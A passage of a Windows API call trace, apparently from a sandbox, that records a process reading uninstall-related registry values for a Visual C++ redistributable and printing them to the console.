(lpString="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall /quiet") returned 104 [0149.650] GetConsoleOutputCP () returned 0x1b5 [0149.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0149.650] GetConsoleOutputCP () returned 0x1b5 [0149.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall /quiet", lpUsedDefaultChar=0x0) returned 104 [0149.650] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 104 [0149.650] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.650] __iob_func () returned 0x7fefd702a80 [0149.650] _fileno (_File=0x7fefd702ab0) returned 1 [0149.650] _errno () returned 0x204bb0 [0149.650] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.650] _errno () returned 0x204bb0 [0149.650] GetFileType (hFile=0x50) returned 0x1 [0149.650] lstrlenW (lpString="\n") returned 1 [0149.650] GetConsoleOutputCP () returned 0x1b5 [0149.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.650] GetConsoleOutputCP () returned 0x1b5 [0149.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.650] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.650] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.651] GetProcessHeap () returned 0x3c0000 [0149.651] GetProcessHeap () returned 0x3c0000 [0149.651] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.651] GetProcessHeap () returned 0x3c0000 [0149.651] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0149.651] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.651] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.651] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc8) returned 0x0 [0149.651] GetProcessHeap () returned 0x3c0000 [0149.651] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xca) returned 0x3e1c70 [0149.651] GetProcessHeap () returned 0x3c0000 [0149.651] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.651] GetProcessHeap () returned 0x3c0000 [0149.651] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0149.651] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc8 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall", pcbData=0x29f780*=0xc6) returned 0x0 [0149.651] __iob_func () returned 0x7fefd702a80 [0149.651] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.651] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.651] _fileno (_File=0x7fefd702ab0) returned 1 [0149.651] _errno () returned 0x204bb0 [0149.651] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.651] _errno () returned 0x204bb0 [0149.651] GetFileType (hFile=0x50) returned 0x1 [0149.651] lstrlenW (lpString=" ") returned 4 [0149.651] GetConsoleOutputCP () returned 0x1b5 [0149.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.651] GetConsoleOutputCP () returned 0x1b5 [0149.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.652] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.652] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.652] lstrlenW (lpString="UninstallString") returned 15 [0149.652] __iob_func () returned 0x7fefd702a80 [0149.652] _fileno (_File=0x7fefd702ab0) returned 1 [0149.652] _errno () returned 0x204bb0 [0149.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.652] _errno () returned 0x204bb0 [0149.652] GetFileType (hFile=0x50) returned 0x1 [0149.652] lstrlenW (lpString="UninstallString") returned 15 [0149.652] GetConsoleOutputCP () returned 0x1b5 [0149.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.652] GetConsoleOutputCP () returned 0x1b5 [0149.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.652] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.652] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.652] __iob_func () returned 0x7fefd702a80 [0149.652] _fileno (_File=0x7fefd702ab0) returned 1 [0149.652] _errno () returned 0x204bb0 [0149.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.652] _errno () returned 0x204bb0 [0149.652] GetFileType (hFile=0x50) returned 0x1 [0149.652] lstrlenW (lpString=" ") returned 4 [0149.652] GetConsoleOutputCP () returned 0x1b5 [0149.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.653] GetConsoleOutputCP () returned 0x1b5 [0149.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.653] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.653] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.653] __iob_func () returned 0x7fefd702a80 [0149.653] _fileno (_File=0x7fefd702ab0) returned 1 [0149.653] _errno () returned 0x204bb0 [0149.653] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.653] _errno () returned 0x204bb0 [0149.653] GetFileType (hFile=0x50) returned 0x1 [0149.653] lstrlenW (lpString="REG_SZ") returned 6 [0149.653] GetConsoleOutputCP () returned 0x1b5 [0149.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.653] GetConsoleOutputCP () returned 0x1b5 [0149.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.653] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.653] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.654] __iob_func () returned 0x7fefd702a80 [0149.654] _fileno (_File=0x7fefd702ab0) returned 1 [0149.654] _errno () returned 0x204bb0 [0149.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.654] _errno () returned 0x204bb0 [0149.654] GetFileType (hFile=0x50) returned 0x1 [0149.654] lstrlenW (lpString=" ") returned 4 [0149.654] GetConsoleOutputCP () returned 0x1b5 [0149.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.654] GetConsoleOutputCP () returned 0x1b5 [0149.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.654] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.654] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.654] __iob_func () returned 0x7fefd702a80 [0149.654] _fileno (_File=0x7fefd702ab0) returned 1 [0149.654] _errno () returned 0x204bb0 [0149.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.654] _errno () returned 0x204bb0 [0149.654] GetFileType (hFile=0x50) returned 0x1 [0149.654] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall") returned 98 [0149.654] GetConsoleOutputCP () returned 0x1b5 [0149.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 98 [0149.654] GetConsoleOutputCP () returned 0x1b5 [0149.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall", lpUsedDefaultChar=0x0) returned 98 [0149.655] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 98 [0149.655] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.655] __iob_func () returned 0x7fefd702a80 [0149.655] _fileno (_File=0x7fefd702ab0) returned 1 [0149.655] _errno () returned 0x204bb0 [0149.655] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.655] _errno () returned 0x204bb0 [0149.655] GetFileType (hFile=0x50) returned 0x1 [0149.655] lstrlenW (lpString="\n") returned 1 [0149.655] GetConsoleOutputCP () returned 0x1b5 [0149.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.655] GetConsoleOutputCP () returned 0x1b5 [0149.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.655] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.655] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.655] GetProcessHeap () returned 0x3c0000 [0149.655] GetProcessHeap () returned 0x3c0000 [0149.655] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.655] GetProcessHeap () returned 0x3c0000 [0149.655] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0149.655] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.655] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.656] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.656] GetProcessHeap () returned 0x3c0000 [0149.656] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.656] GetProcessHeap () returned 0x3c0000 [0149.656] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.656] GetProcessHeap () returned 0x3c0000 [0149.656] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.656] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x5246, pcbData=0x29f780*=0x4) returned 0x0 [0149.656] __iob_func () returned 0x7fefd702a80 [0149.656] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.656] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.656] _fileno (_File=0x7fefd702ab0) returned 1 [0149.656] _errno () returned 0x204bb0 [0149.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.656] _errno () returned 0x204bb0 [0149.656] GetFileType (hFile=0x50) returned 0x1 [0149.656] lstrlenW (lpString=" ") returned 4 [0149.656] GetConsoleOutputCP () returned 0x1b5 [0149.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.656] GetConsoleOutputCP () returned 0x1b5 [0149.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.656] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.656] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.656] lstrlenW (lpString="EstimatedSize") returned 13 [0149.656] __iob_func () returned 0x7fefd702a80 [0149.656] _fileno (_File=0x7fefd702ab0) returned 1 [0149.656] _errno () returned 0x204bb0 [0149.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.656] _errno () returned 0x204bb0 [0149.657] GetFileType (hFile=0x50) returned 0x1 [0149.657] lstrlenW (lpString="EstimatedSize") returned 13 [0149.657] GetConsoleOutputCP () returned 0x1b5 [0149.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.657] GetConsoleOutputCP () returned 0x1b5 [0149.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.657] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.657] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.657] __iob_func () returned 0x7fefd702a80 [0149.657] _fileno (_File=0x7fefd702ab0) returned 1 [0149.657] _errno () returned 0x204bb0 [0149.657] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.657] _errno () returned 0x204bb0 [0149.657] GetFileType (hFile=0x50) returned 0x1 [0149.657] lstrlenW (lpString=" ") returned 4 [0149.657] GetConsoleOutputCP () returned 0x1b5 [0149.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.657] GetConsoleOutputCP () returned 0x1b5 [0149.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.658] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.658] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.658] __iob_func () returned 0x7fefd702a80 [0149.658] _fileno (_File=0x7fefd702ab0) returned 1 [0149.658] _errno () returned 0x204bb0 [0149.658] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.658] _errno () returned 0x204bb0 [0149.658] GetFileType (hFile=0x50) returned 0x1 [0149.658] lstrlenW (lpString="REG_DWORD") returned 9 [0149.658] GetConsoleOutputCP () returned 0x1b5 [0149.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.658] GetConsoleOutputCP () returned 0x1b5 [0149.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.658] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.658] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.658] __iob_func () returned 0x7fefd702a80 [0149.658] _fileno (_File=0x7fefd702ab0) returned 1 [0149.658] _errno () returned 0x204bb0 [0149.658] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.658] _errno () returned 0x204bb0 [0149.658] GetFileType (hFile=0x50) returned 0x1 [0149.658] lstrlenW (lpString=" ") returned 4 [0149.658] GetConsoleOutputCP () returned 0x1b5 [0149.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.659] GetConsoleOutputCP () returned 0x1b5 [0149.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.659] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.659] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.659] __iob_func () returned 0x7fefd702a80 [0149.659] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.659] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x5246") returned 6 [0149.659] _fileno (_File=0x7fefd702ab0) returned 1 [0149.659] _errno () returned 0x204bb0 [0149.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.659] _errno () returned 0x204bb0 [0149.659] GetFileType (hFile=0x50) returned 0x1 [0149.659] lstrlenW (lpString="0x5246") returned 6 [0149.659] GetConsoleOutputCP () returned 0x1b5 [0149.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x5246", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.659] GetConsoleOutputCP () returned 0x1b5 [0149.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x5246", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x5246", lpUsedDefaultChar=0x0) returned 6 [0149.659] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.659] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.660] __iob_func () returned 0x7fefd702a80 [0149.660] _fileno (_File=0x7fefd702ab0) returned 1 [0149.660] _errno () returned 0x204bb0 [0149.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.660] _errno () returned 0x204bb0 [0149.660] GetFileType (hFile=0x50) returned 0x1 [0149.660] lstrlenW (lpString="\n") returned 1 [0149.660] GetConsoleOutputCP () returned 0x1b5 [0149.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.660] GetConsoleOutputCP () returned 0x1b5 [0149.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.660] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.660] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.660] GetProcessHeap () returned 0x3c0000 [0149.660] GetProcessHeap () returned 0x3c0000 [0149.660] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.660] GetProcessHeap () returned 0x3c0000 [0149.660] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.660] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.660] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Resume", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.660] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.660] GetProcessHeap () returned 0x3c0000 [0149.660] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.660] GetProcessHeap () returned 0x3c0000 [0149.660] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.660] GetProcessHeap () returned 0x3c0000 [0149.660] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.660] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x3, pcbData=0x29f780*=0x4) returned 0x0 [0149.661] __iob_func () returned 0x7fefd702a80 [0149.661] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.661] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.661] _fileno (_File=0x7fefd702ab0) returned 1 [0149.661] _errno () returned 0x204bb0 [0149.661] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.661] _errno () returned 0x204bb0 [0149.661] GetFileType (hFile=0x50) returned 0x1 [0149.661] lstrlenW (lpString=" ") returned 4 [0149.661] GetConsoleOutputCP () returned 0x1b5 [0149.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.661] GetConsoleOutputCP () returned 0x1b5 [0149.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.661] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.661] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.661] lstrlenW (lpString="Resume") returned 6 [0149.661] __iob_func () returned 0x7fefd702a80 [0149.661] _fileno (_File=0x7fefd702ab0) returned 1 [0149.661] _errno () returned 0x204bb0 [0149.661] _get_osfhandle (_FileHandle=1) 